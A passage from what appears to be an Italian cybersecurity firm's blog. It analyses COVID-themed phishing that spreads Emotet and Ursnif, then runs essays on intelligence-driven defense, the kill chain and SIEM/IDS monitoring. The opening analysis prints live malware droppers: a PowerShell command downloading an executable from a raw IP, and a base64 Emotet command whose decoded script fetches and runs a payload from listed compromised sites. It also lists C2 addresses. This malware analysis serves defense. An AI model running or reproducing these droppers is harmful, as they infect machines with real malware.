powershell -Command "(New-Object Net.WebClient).DownloadFile('http://37.1.212.70/doc/Cirilic.exe', 'C:' + '\U' + 'ser' + 's\P' + 'ub' + 'lic' + '\ca' + 'lc' + '.ex' + 'e')"

Prova quindi ad effettuare il download di un eseguibile per poi farlo girare sulla macchina per infettarla.

Esempio n°2: Emotet

Il secondo esempio che abbiamo analizzato è una mail che prova a diffondere Emotet. Il documento è simile, anche in questo mostra un messaggio che tende ad ingannare l’utente con l’accettazione di un license agreement:

Il codice anche in questo caso è offuscato, ma ciò che fa prima di tutto è cercare di contattare più di un IP, per verificare la presenza di connettività:

181.188.149.134

203.130.0.67

5.67.96.120

143.0.245.169

104.27.132.137

Lo scopo è effettuare il download dell’eseguibile necessario all’infezione della macchina vittima. In particolare, il comando eseguito è il seguente:

powershell –enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9AccAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4AlgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AywBvAG0AlwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8AlwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AywBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ArwB3AD0AjwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9AccAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AfoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=

C’è solo un livello di codifica e non è complicato individuare il codice nascosto e capirne lo scopo:

$jrFhA0='Wf1rHz';$uUMMLI = '284';$iBtj49N='ThMqW8s0';$FwcAJs6=$env:userprofile+'\'+$uUMMLI+'.exe';$S9GzRstM='EFCwnlGz';$u8UAr3=&('n'+'ew'+'-object') NeT.wEBClIEnt;$pLjBqINE='http://blockchainjoblist.com/wp-admin/014080/@https://womenempowermentpakistan.com/wp-admin/paba5q52/@https://atnimanvilla.com/wp-content/073735/@https://yeuquynhnhai.com/upload/41830/@https://deepikarai.com/js/4bzs6/'."sPL`iT"('@');$l4sJloGw='zISjEmiP';foreach($V3hEPMMZ in $pLjBqINE){try{$u8UAr3."DOw`N`lOaDfi`Le"($V3hEPMMZ, $FwcAJs6);$IvHHwRib='s5Ts_iP8';If ((&('G'+'e'+'t-Item') $FwcAJs6)."LeN`gTh" -ge 23931) {[Diagnostics.Process]::"ST`ArT"($FwcAJs6);$zDNs8wi='F3Wwo0';break;$TTJptXB='ijlWhCzP'}}catch{}}$vZzi_uAp='aEBtpj4'

Il codice prova a comunicare con l’IP 181.188.149.134 che è segnalato su AbuseIPDB come CnC server di Emotet da cui prova a scaricare un fila dal nome “284.exe” che,chiaramente, è un eseguibile malevolo.

Esempio n°3: Ursnif

Il terzo malware è l’ultimo tra i più diffusi, Ursnif, veicolato attraverso mail dall’oggetto “Invio COPIA Ordine/Fattura: Procedure x Coronavirus”. La mail invita la vittima a scaricare un file Excel in allegato che, come gli altri, contiene una macro vba.

Parte del codice offuscato è il seguente:

Sono presenti vari livelli di compressione (gzip, base64 e dati binari) ma deoffuscando ogni livello ciò che si ottiene è qualcosa che ci permette di comprendere il comportamento della macro.

Il codice prova a contattare differenti IP tra cui:

23.227.199.36

52.109.2.16

72.21.91.29

15133 US

52.109.124.20

Con l’obiettivo ultimo di infettare e diffondere il malware.

Le precauzioni da adottare

Questi sono tre esempi di malware già noti e tornati alla ribalta anche durante e grazie a questa pandemia. Non sono però gli unici casi: ricordiamo anche quello di Blackwater o la campagna specifiche per utenti Android.

In situazioni come queste, le precauzioni in qualità di utente che consigliamo di adottare sono quelle più semplici ma non per questo banali:

E’ buona norma controllare l’indirizzo del mittente per rendersi conto se sia o meno plausibile sfruttare tool online per verificarne la reputazione nel caso in cui non lo si conosca, ad esempio: Cisco Talos; Senderscore; MxToolbox;
Non scaricare file in allegato o file a cui si viene condotti tramite link, se proprio necessario sfruttare piattaforme che effettuano gratuitamente l’analisi di file, come Virustotal;
Non cliccare link senza essersi prima accertati della bontà dell’e-mail;
Chiedere a qualche collega se ha già ricevuto una mail dello stesso tipo o informarsi su Internet circa campagna caratterizzate dallo stesso oggetto dell’e-mail ricevuta.

Hai un attacco in corso? Contattaci su shockwave@cybergon.com

Cybercrime e Cybersecurity: l'Intelligence come leva per la difesa della tua organizzazione

Marco Lucchina — Wed, 01 Apr 2020 10:46:01 +0000

La crescente, anzi imponente crescita di importanza dei dati custoditi nei datacenter pone a chi si occupa di sistemi informativi una nuova sfida: identificare adeguate strategie di difesa. La Cybersecurity non è solo un effetto collaterale della digitalizzazione, è la sua nemesi anche in ottica di opportunità commerciali.

Le tecniche maggiormente adottate e riconducibili alla metodologia di “firefighting” non sono più adeguate allo scenario attuale. Rispondere ad una minaccia quando questa si manifesta, magari bloccando la disponibilità dei sistemi, lascia le aziende esposte a incalcolabili danni di immagine oltre ai costi dovuti a fermi. Un approccio di questo tipo non permette neppure di sapere quando si è verificata una compromissione degli stessi.

Sappiamo, inoltre, che è utopistico ritenere che i sistemi possano essere considerati sicuri. Non è neppure affermabile che siano sempre aggiornati. Nei progetti sul campo si incontrano continuamente motivazioni, compromessi secondo i quali un determinato ambiente non può essere aggiornato. A titolo esemplificativo, ma non esaustivo, applicazioni legacy in assenza di un processo di mantenimento, potrebbero richiedere sistemi operativi obsoleti, lasciando esposta una superficie di attacco considerevole. Contestualmente, le procedure di recovery sono studiate in caso di eventi naturali o blocco dei sistemi, solo in rari casi è prevista l’attivazione d’emergenza della catena di comando in presenza di un attacco o, meglio di una minaccia immediata, anche potenziale. Parallelamente la consapevolezza del rischio deve essere portata ai massimi livelli aziendali. Gli specialisti di sicurezza non sono chiamati ad affrontare ragazzi che si divertono da uno scantinato, bensì organizzazioni con capacità sofisticate,spesso con alle spalle interi governi.

È proprio il concetto, anche espresso in contingenza, di una minaccia immediata che pone l’etichetta di obsoleto al metodo firefighting; semplicemente perché se non si è ancora manifestata non può essere presa in considerazione. Dalla speculazione filosofica al pratico, la strategia di difesa non può essere unica, deve dividersi su più livelli e partire dalla minaccia. Per identificarla è necessario comprendere perché qualcuno dovrebbe interessarsi a noi e le modalità secondo le quali veniamo classificati come obiettivo.

Solo comprendendo le logiche del Cybercrime e attivando una rete di monitoraggio, possiamo adattare la nostra difesa. Una difesa che non sarà basata (solo) sulla capacità di risposta bensì sull’invisibilità. Incorporare capacità di analisi delle capacità, delle dottrine e degli obiettivi è la base di una difesa guidata dall’Intelligence ed è un processo continuo che si basa sull’apprendimento ed il successivo miglioramento delle procedure e delle capacità.

APT – ADVANCED PERSISTENT THREAT: UNA MINACCIA CONTINUA

La vita dei Cybercriminali è un po’ più facile della vita di chi si occupa di Cybersecurity. Possiamo affermarlo: sono sempre un passo avanti, mentre gli specialisti della sicurezza devono lavorare seguendo un protocollo di identificazione delle minacce e conseguente risposta. Dobbiamo la conoscenza di gran parte delle informazioni riportate, qui come sulla stampa specializzata, al Dottor McGuire. Il proposito del ricercatore è di rendere non tanto il nostro lavoro un po’ più facile, ma il loro un po’ più difficile. Il primo passo in questa direzione deve essere, quindi, la comprensione e la consapevolezza della minaccia, che dobbiamo considerare persistente e di alto livello tecnico.

Cybercrime e cybersecurity: due industrie a confronto

Nel “campo nemico” si sono organizzati come una fiorente economia: è possibile acquistare exploit (codici che sfruttano vulnerabilità), più o meno per qualunque tipo di attacco o ancora, comprare il tempo di uno specialista che scriva o segua l’attacco. Si tratta di una industria fiorente che, pare, dia lavoro a 3,5 milioni di coders (programmatori). E’ un mondo composto da persone curiose, entusiaste e che sono sia innovatori che early adopter di tecnologie.

Il motore che muove queste persone è il guadagno, esattamente come nelle altre industrie. A questo proposito il progetto “The Web of Profit” è uno dei maggiori studi realizzati col fine di comprendere le dinamiche del Cybercrime. La comprensione di queste dinamiche è fondamentale per superare l’approccio di firefighting tipico delle organizzazioni, ovvero: risolvere il problema quando – spesso – il danno è fatto. Solo l’analisi degli introiti, rapportati correttamente anche al fattore temporale, può far fare un passo avanti alle strategie di difesa, che non possono fare a meno di un approccio adattivo: partire dall’individuazione delle fonti di ricavo più interessanti e da un immediato aggiornamento degli strumenti di difesa per rendere quanto meno antieconomico l’utilizzo dei propri asset a quei fini. (vedi blogpost precedente: The Theory of Average Security)

Il Cybercrime: l’economia di una nazione

Dobbiamo quindi organizzare le difese secondo un approccio financially-driven, considerando il Cybercrime non come un singolo «business» ma come un’intera economia, delle dimensioni di una nazione sviluppata come l’Italia. Si tratta di un «disruptive business model» che radica la sua efficacia in alcune capacità:

Un ampio spettro di metodologia per generare ricavi, spesso a livello di industria;
Monete e modalità di scambio totalmente digitali e anonimi;
Numerosi intermediari e produttori, fornitore di marci e servizi. Senza dimenticare l’incredibile numero di clienti;
Marketplace dedicati;
Meccanismi di distribuzione globale;
Fabbriche di trolls o di «mass marketing»;
L’incredibile valore dei dati: oggetto principale degli scambi;
Presenza in aree con assenza di legislazione specifica;

Tutto questo porta ad una macro-suddivisione degli introiti secondo il seguente schema:

Si può osservare quanto la rivendita di un dato rubato sia la principale fonte di ricavo, del resto l’utilizzo di dati rubati è un’attività a basso rischio, soprattutto rispetto al furto originale. I Ransomware sono invece la punta dell’iceberg, visibili ai più perché bloccano i sistemi, ma rappresentano solo l’1% dei ricavi. Le piattaforme dedicate evolute sono funzionali tanto quanto quelle che utilizziamo tutti i giorni: Google, Facebook, Amazon. E funzionano allo stesso modo: si cercano “cose”, si comprano “cose” e si paga con una moneta leggermente differente (nell’oltre 60% dei casi: BitCoin).

Una volta compreso come i Cybercriminali ottengono i guadagni, è utile capire come vengono riciclati per essere reimmessi nell’economia reale. Si stima che il 10% dei 2000 miliardi di dollari riciclati nel mondo siano derivanti da questo sistema. Questo significa che i Cybercriminali siano piuttosto avvezzi sia ai metodi tradizionali che a quelli più innovativi. Ai classici money mule, shell companies e bonifici internazionali si sono aggiunte, nel tempo, tutte le forme di pagamenti digitali con una crescita importante dei trasferimenti di denaro all’interno dei giochi online (incluso PlayStation Network o Xbox online), con il successivo intento di trasformarli in oggetti che possano mantenere il valore nel medio lungo termine (gioielli, proprietà, ecc.).

CURIOSITÀ: Airbnb è stato spesso utilizzato come lavanderia per gli introiti del Cybercrime, sfruttando alcune legislazioni favorevoli dal punto di vista della fiscalità.

KILL CHAIN® METHODOLOGY: COMPRENDERE L’ATTACCO PER FERMARLO

Come abbiamo ripetuto fino ad ora per bloccare l’attacco di un Cybercriminale, la chiave è comprenderne il funzionamento. Il modello introdotto da Lockheed Martin è identificato come modello “Intelligence Driven Defense®” e si basa proprio sull’idea di identificare i passaggi che un attaccante dovrà compiere per forzare il sistema di difesa. Una volta identificati i passaggi, bisogna acquisire la capacità di bloccarlo in qualunque fase.

La base fondante è che la comprensione delle motivazioni e della metodologia che costituiscono l’attacco, sia la componente di Intelligence. Il modello Kill Chain lavora su differenti livelli e si rifà a “U.S. military targeting doctrine” che definisce i passaggi del processo: find, fix, track, target, engage, assess (F2T2EA). Consente di identificare i vari passaggi dell’attacco e quindi di comprenderli.

Le sette fasi della Kill Chain sono:

Reconnaissance – ricerca e identificazione degli obiettivi, spesso attraverso i siti web, gli indirizzi e-mail, le relazioni sociali (e non solo i social network) o le informazioni su specifiche tecnologie;
Weaponization – l’accoppiamento tra un trojan con un exploit in un payload. Questo tipicamente significa la creazione di un tool automatico da inserire in un vettore di attacco (arma) come potrebbe essere un PDF o un documento di Microsoft office;
Delivery – la trasmissione dell’arma nell’ambiente dell’obiettivo, tipicamente un allegato e-mail, un sito web o un media USB;
Exploitation – è la fase in cui il codice viene eseguito e identifica il suo obiettivo: una vulnerabilità di un’applicazione o un sistema operativo;
Installation – l’installazione di un trojan che permetta accesso remoto o di una backdoor che permettono all’attaccante di operare in modo persistente nell’ambiente della vittima;
Command and Control (C2) – tipicamente un oggetto compromesso segnala ad un rete di comando e controllo di essere pronto ad eseguire istruzioni. In questo momento l’attaccante ha le mani nell’infrastruttura della vittima;
Actions on Objectives – ora l’attaccante è in grado di compiere delle azioni per conseguire il suo obiettivo iniziale. Può trattarsi di esfiltrazione di dati (dopo averli raccolti e crittografati). In alternativa i sistemi potrebbero essere utilizzati per compromettente altri o per approfittare della potenza di calcolo e della banda per fini vari (es. Crypto-mining);

Organizzare la difesa

Una difesa basata sull’Intelligence si realizza adeguando le difese alla catena di eventi che compongono l’attacco e facendo in modo di poter interdire la connessione con la minaccia appena viene scoperta a qualunque dei sette livelli descritti. Il primo livello, quello della raccolta delle informazioni, viene spesso sottovalutato dalle organizzazioni, che preferiscono una condivisione spinta delle informazioni nell’ottica di un ritorno commerciale. Presentazioni e siti web con foto e contatti delle figure apicali sono un esempio in tal senso. Una politica di sicurezza deve bilanciare la spinta commerciale con la riservatezza, però una strategia guidata dall’Intelligence permette di scoprire quanto la pubblicazione di queste informazioni potrebbe essere utile a chi sta studiando un potenziale attacco.

Ancora una volta, dobbiamo sapere se la nostra organizzazione si configura come target generico o specifico. Nel secondo caso cercano noi per qualche asset in nostro possesso, cosa che dovrebbe far preferire un approccio più riservato. Nel primo caso, invece, possiamo riprodurre la vista di un potenziale attaccante, guardandoci attraverso i suoi stessi tools per scoprire se siamo visibili o invisibili. Il risultante bivio strategico consiglierebbe prudenza in caso di visibilità e magari qualche aggiustamento. A tal proposito dobbiamo ricordare che la maggior parte delle organizzazioni sono appetibili proprio per le vulnerabilità che espongono.

SECURITY OPERATION CENTER: APPLICARE IL MODELLO DI INTELLIGENCE DRIVEN DEFENSE

Come applicare efficacemente il modello “Intelligence Driven Defense®” all’operatività di un Security Operation Center, un SOC?

Ad oggi non esiste una metodologia ufficiale, esistono però alcune best practice che possono essere adottate, schematizzabili in quattro “funzioni” attivabili all’interno del Blue Team (leggi qui la definizione del National Institute of Standard and Technology)

ZERO TRUST APPROACH: qualunque attività può essere malevole e deve essere analizzata al di fuori del perimetro di difesa. L’approccio implica una profonda revisione architetturale, ma soprattutto culturale: non esistono più ambienti sicuri: tutti possono essere compromessi e non si sa da dove può venire un attacco. Ad esempio i sistemi critici vengono sempre più spesso compromessi a seguito di una perdita di credenziali piuttosto che con complessi attacchi dall’esterno. L’approccio prevede di identificare “isole” che erogano servizi, compartimentarle per escludere lo sfruttamento di vulnerabilità e assicurarsi che le connessioni in ingresso seguano determinate regole;
REPORT OSINT: mirato alla protezione delle credenziali. Monitorare username e password, che siano esposte singolarmente o peggio come componenti della stessa credenziale è un grande aiuto che l’Intelligence da alla prevenzione del furto delle stesse. Il riutilizzo di credenziali è la prima causa della loro compromissione. L’Open Source Intelligence aiuta anche a tracciare i profili delle persone più esposte, fonte degli attacchi mirati, spesso eseguiti dopo una accurata indagine delle informazione sulle figure apicali.
THREAT MANAGEMENT: la prima fonte di attenzione sono le vulnerabilità. Qualunque organizzazione non è in grado di tenere costantemente aggiornato il software, percui è comunque esposta ad un rischio. Sapere quali sono e monitorare l’azione di malware che le sfruttino è uno dei cardini dei sistemi IDD. Confrontare il proprio perimetro di difesa con quello che avviene sulla rete, però dopo che si conoscono le possibili superfici di attacco;
CORRELATION: le regole di correlazione hanno l’obiettivo di confrontare gli eventi per determinare cosa è “attività normale” e cosa, invece, è una anomalia. La correlazione è strettamente legata all’operatività di ogni singola isola, le regole devono prima “imparare” e poi possono inziare a produrre risultati.

È doveroso infine ricordare che l’obiettivo di un SOC, tra gli altri, deve essere la funzione DETECT ossia la capacità di identificare minacce reali in grado di aprire una breccia sui sistemi difensivi. Non esiste una tecnologia tale da sostituire le pratiche che l’esperienza e il continuo miglioramento suggeriscono. Alla fase di detect, segue quella di RESPOND e non è detto che delegando la prima ad una tecnologia la seconda sia aquisibile. Entrambe devono procedere di pari passo e, solitamente, allineate alle competenze del gruppo che le ha in carico.

Log e SIEM: soluzioni per dotarsi di un efficiente sistema di monitoraggio dei sistemi IT

Filadelfio Emanuele — Mon, 24 Feb 2020 15:46:01 +0000

Ogni dispositivo informatico, ogni applicazione, dal mondo IT fino all’universo IOT genera in modo continuo informazioni, principalmente sotto forma di log. All’interno di questo fiume di dati, si nascondono dati molto interessanti che però non è semplice gestire. Dotarsi di un SIEM in azienda è un passo dovuto, ma è necessario stabilire gli obiettivi: rispondere ad un requisito normativo o di compliance è diverso rispetto ad un utilizzo in ambito security. Proviamo ad analizzare tale percorso, partendo dalle esigenze business.

Qual è l’esigenza delle organizzazioni?

L’obiettivo primario per ogni azienda è quello di massimizzare la disponibilità dei propri sistemi IT e, in generale, fare in modo che le business application siano sempre disponibili. È indispensabile permettere al business di avere a disposizione gli strumenti necessari per potere essere competitivi sul mercato. Andiamo ad analizzare alcuni ambiti.

La forza vendita utilizza un sistema CRM per poter pianificare e monitorare la propria strategia sui clienti. L’indisponibilità dello strumento genera un potenziale svantaggio competitivo sul mercato. La logistica per poter essere veloce nell’attività di physical delivery adotta sistemi automatici per la gestione del magazzino. Un guasto potrebbe generare il blocco dell’operatività con possibili conseguenze su movimentazione merci, preparazione ordini e consegne. La gestione della produzione è basata su sistemi di controllo e supervisione (SCADA). Questi dispositivi sono parte integrante del processo produttivo e la loro indisponibilità può bloccare l’intera catena. Non dimentichiamoci dei dispositivi assegnati in modo esclusivo ai collaboratori (smartphone, notebook, tablet) che sono indispensabili per poter svolgere la propria attività lavorativa. Il loro grado di criticità è strettamente legato all’utilizzatore del bene.

Da dove partire: il system monitoring

Tralasciamo in questo articolo l’analisi della corretta architettura tecnologica che sta alla base dei sistemi IT (ad esempio applicazioni business critical richiederebbero soluzioni di HA).

Il primo passo è quello di dotarsi di sistemi di monitoraggio - system monitoring - che verifichino la disponibilità delle applicazioni.

Gli approcci sono generalmente di due tipologie, spesso utilizzate insieme per massimizzare i risultati.

Bottom-up: ogni business application utilizza una struttura di componenti, strettamente dipendenti e interconnessi tra di loro. L’obiettivo è monitorare tutti i componenti, partendo dal basso verso l’alto:
- Sistemi fisici (server, storage)
- Infrastruttura di rete
- Sistemi di virtualizzazione e sistemi operativi
- Database
- Motori applicativi Operativamente vengono definiti una lista di indicatori per ogni componente, il cui cambiamento di stato genera un evento (parte guasta, servizio non attivo, risorsa insufficiente).
Top-down: con questo approccio il monitoraggio avviene tramite software intelligenti che simulano l’azione dell’utente e segnalano comportamenti anomali dell’applicazione.

Entrambi gli approcci hanno il limite di basarsi su indicatori on-off (attivo/non attivo; funzionante/guasto) o di soglie predefinite (percentuale di occupazione disco, banda, utilizzo cpu, ram).

La funzionalità primaria è quella di generare eventi partendo dagli indicatori definiti. A seguito di tale analisi e configurazione, si otterrà uno strumento utile per ridurre i tempi di gestione di un allarme e ridurre l’impatto di un incident sul business.

Il rischio maggiore è quello di sovradimensionare o sottodimensionare il numero e la tipologia di tali indicatori, generando un effort di gestione ingiustificato da parte del personale IT o, nel caso opposto, di ignorare allarmi che possono generare gravi incident.

Una fonte ricca di informazioni: i log

L’attività di system monitoring ha il grosso limite di fermarsi al controllo degli indicatori che sono stati definiti in fase di analisi, ignorando le fonti che sono per loro natura destrutturate o parzialmente destrutturate.

Tutti gli oggetti IT, non IT e le applicazioni generano una grossa quantità di informazioni sotto forma di log, raggruppate in diverse categorie e livelli di criticità.

Per chiarire meglio il concetto, valutiamo alcuni esempi:

Un disco (fisico) che si avvicina al momento del guasto, non genera l’accensione di nessun indicatore ma scrive nei log diagnostici informazioni sugli errori o rallentamenti nelle sue attività di scrittura e lettura. Analizzando tali log sarebbe possibile anticiparne la sostituzione riducendo la probabilità di disservizio.
La creazione di un profilo utente amministratore è un’operazione che viene tracciata nei security log. Tale informazione è potenzialmente un indizio di attività malevola, sia che essa sia fatta da una persona, sia - e ancor di più - che sia fatta da un software (malware).

Il valore di queste informazioni aumenta se i log vengono correlati tra di loro, prendendo fonti di tipologia differente.

Dotarsi di un SIEM

Il SIEM (Security Information and Event Management) è lo strumento che si occupa di raccogliere log prodotti da diverse fonti, interpretarli, normalizzarli e correlarli tra di loro, specificatamente in ambito security.

Questo repository risolve, ad esempio, i problemi di retention, mettendo a disposizione un repository unico. Il dato salvato localmente nel singolo dispositivo ha normalmente un tempo di conservazione limitato, mentre le regole di retention all’interno del SIEM possono essere definite in modo puntuale.

Dobbiamo distinguere le motivazioni per cui un’azienda decide di dotarsi di un SIEM. È indispensabile chiarirle internamente, prima di far partire un progetto di implementazione, per evitare che tale strumento rimanga inutilizzato o, ancora peggio, diventi un peso per il reparto IT senza effettivo beneficio per l’azienda.

Il SIEM può semplificare il processo di conformità dell’azienda alle norme nazionali o internazionali, framework di sicurezza o vincoli legali. Se l’obiettivo primario è limitato a questo aspetto, l’approccio da utilizzare deve tenere conto di questa scelta ed è consigliabile:

Minimizzare il numero di sorgenti di log (fonti)
Evitare di generare eventi
Revisionare la configurazione in modo periodico

Se invece, l’obiettivo primario è quello di migliorare il livello di sicurezza dell’azienda, magari in un processo continuativo, l’approccio sarà totalmente differente:

Raccogliere il numero maggiore di fonti, dopo aver eseguito un’attenta analisi del formato e contenuto
Definire le correlazioni che devono generare eventi e alert verso il reparto IT (magari attraverso un SOC)
Eseguire continuamente attività di fine-tuning della configurazione e delle correlazioni. L’obiettivo è minimizzare i falsi positivi (eventi da ignorare) e ridurre i falsi negativi (eventi che dovevano essere analizzati e sono stati ignorati o scartati)
Valutare gli impatti alle fonti/sorgenti durante il processo di change management o nei progetti di rinnovamento tecnologico

È facile intuire che la gestione di un SIEM per esigenze di security richiede tempo, risorse e figure specializzate.

Dotarsi di un SOC (Security Operations Center) è indispensabile per gestire gli eventi che vengono generati dallo strumento. È possibile dotarsi internamente di un SOC, ma è preferibile (per competenze e complessità di gestione) attingere da un servizio esterno, scegliendo da aziende specializzate in ambito cybersecurity che possano erogare in 24x7.

Aggiungere un IDS come fonte attiva del SIEM

Continuando nel percorso di maturazione in ambito security, l’inserimento di un IDS come fonte del SIEM è un passo obbligato.

Un IDS (Intrusion Detection System) viene inserito all’interno della rete aziendale per analizzare in modo attivo il traffico di rete. L’obiettivo è quello di generare allarmi, a fronte del rilevamento di pacchetti di rete sospetti o comportamenti anomali, sintomi di possibili intrusioni o accessi non autorizzati.

Configurando un IDS come fonte del SIEM e correlando tali informazioni con altre sorgenti, è possibile, ad esempio, identificare un malware prima che questo generi un incident di sicurezza e nei casi peggiori possa bloccare il business dell’azienda.

Anche in questo caso: * un’attività continuativa di fine tuning può migliorare la bontà delle segnalazioni generate * la velocità nella risposta all’allarme riduce o elimina gli impatti possibili

Oltre a un sistema IDS, è possibile inserire (normalmente sul limite perimetrale della rete) un IPS (Intrusion Prevention Systems). Il primo ha un ruolo passivo ed è usato come strumento di monitoraggio, il secondo è attivo e può bloccare le connessioni che vengono identificate come anomale.

Un IPS è quindi più efficace di un IDS, ma ha un potenziale impatto sul traffico di rete e deve essere configurato con particolare attenzione. Una configurazione errata dell’IPS può quindi generare possibili disservizi, in particolare se le applicazioni utilizzate in azienda sono state sviluppate internamente (e quindi potrebbero non aver tenuto conto dell’ambito security) o sono particolarmente datate.

In conclusione, per un’organizzazione pronta a investire in un questo percorso, ci sono quattro punti fondamentali da considerare: * L’inserimento di un SIEM all’interno di un’azienda semplifica i processi di Audit e Compliance, ma gioca un ruolo fondamentale nella cybersecurity * Non bisogna sottovalutare l’impatto che tale strumento può avere sull’operatività del reparto IT * È necessario dimensionare correttamente gli investimenti per poter beneficiare di tale strumento per aumentare il livello di sicurezza del business * L’attivazione di un servizio esterno potrebbe mediare tra investimento e beneficio atteso

👉 Il seguente articolo è stato scritto per Cybersecurity360.it 👈

The Theory of Average Security: una strategia di difesa efficace per la tua azienda

Marco Lucchina — Tue, 28 Jan 2020 14:44:01 +0000

Nel nostro Almanacco abbiamo visto come gli eventi che hanno caratterizzato il mondo della Cybersecurity nel 2019 indichino l’avvengo di numeri e trend impressionanti per i prossimi due anni. E’ purtroppo un dato di fatto che le minacce di Cybersecurity continuino a crescere. La difesa deve quindi obbligatoriamente essere considerata un processo continuo, che si adatti in tempo reale ai cambiamenti di scenario, siano essi interni o esterni. Come possono le organizzazioni prepararsi con un efficace piano di difesa?

Il Business Model Canvas: un modello per la security

Facciamo un passo indietro: con il Business Model Canvas: dark edition abbiamo cercato di costruire un modello in grado di evidenziare la presenza di target specifici. Per farlo, ci serve ragionare in modo visuale e andare alla ricerca di un motivo per cui qualcuno avrebbe interesse a forzare i nostri sistemi. Se il risultato della ricerca è negativo, allora dobbiamo considerarci un target generico. Questo significa che non siamo appetibili tanto per i nostri asset (dati, informazioni) ma per le nostre vulnerabilità stesse, a causa delle quali possiamo diventare un obiettivo utile per i cyber criminali. Non è possibile escludere che i nostri dati possano assumere col tempo importanza e quindi suscitare maggiore interesse, però è quantomeno improbabile. E’ quindi consigliabile concentrarsi sul plausibile.

Cybercrime: i guadagni di un mercato in crescita

Non possiamo non tenere in considerazione alcuni fatti. Il Cybercrime è costantemente un passo avanti all’industria della Cybersecurity, dal momento che quest’ultima lavora sempre rincorrendo la ‘falla’ da chiudere. Chi opera in questo contesto deve superare il paradigma dell’identificazione e della successiva risoluzione della problematica, che risulta troppo lento e macchinoso di fronte a degli opponenti che sono sia innovatori che early-adopters; persone competenti, curiose, affamate e non soggette alle stesse regole delle aziende delle economie occidentali. I dati che le aziende custodiscono sono preziosi e hanno valore, un valore non potenziale ma reale: esiste un borsino con delle quotazioni e dei siti dove comprarli. Inoltre i tool di attacco o gli attacchi stessi sono disponibili a chiunque: un malintenzionato non deve essere un tecnico competente: può acquistare il codice o assoldare persone che lo sviluppino per lui.

A supporto ci sono diversi studi molto interessanti - ad esempio “Hypercrime: The New Geometry of Harm” di Michael McGuire - dai quali sappiamo che il mercato del Cybercrime si attesta sui 5 mila miliardi di euro: una cifra che, per quanto approssimativa, fa impressione ed è naturale chiedersi come possa essere composta. Ad esempio, i riscatti per avere le chiavi di decrittazione di un ransomware ammontano a circa 1 miliardo di dollari. Una cifra che si riferisce ad un anno di attività e che ha ritmi importanti di crescita. Ma lo stesso ransomware è, spesso, solo una copertura: dopo aver forzato un sistema e avuto accesso alle informazioni, gli attaccanti decidono di coprire le proprie tracce con un ransomware. Forse non tutti pagheranno il riscatto, di certo, però, dovranno ripartire da un backup; azione che inesorabilmente cancella tutte le tracce che un intruso lascia mentre le informazioni sottratte sono già in vendita da qualche parte.

Un buon quadro informativo lo fornisce Bromium, di cui ti consigliamo di leggere il report: è molto interessante e permette di capire perché la comprensione del fenomeno passa necessariamente dai modelli di business.

Come difendersi dagli attacchi? Una buona indicazione viene da una delle tante applicazioni della Legge di Pareto.

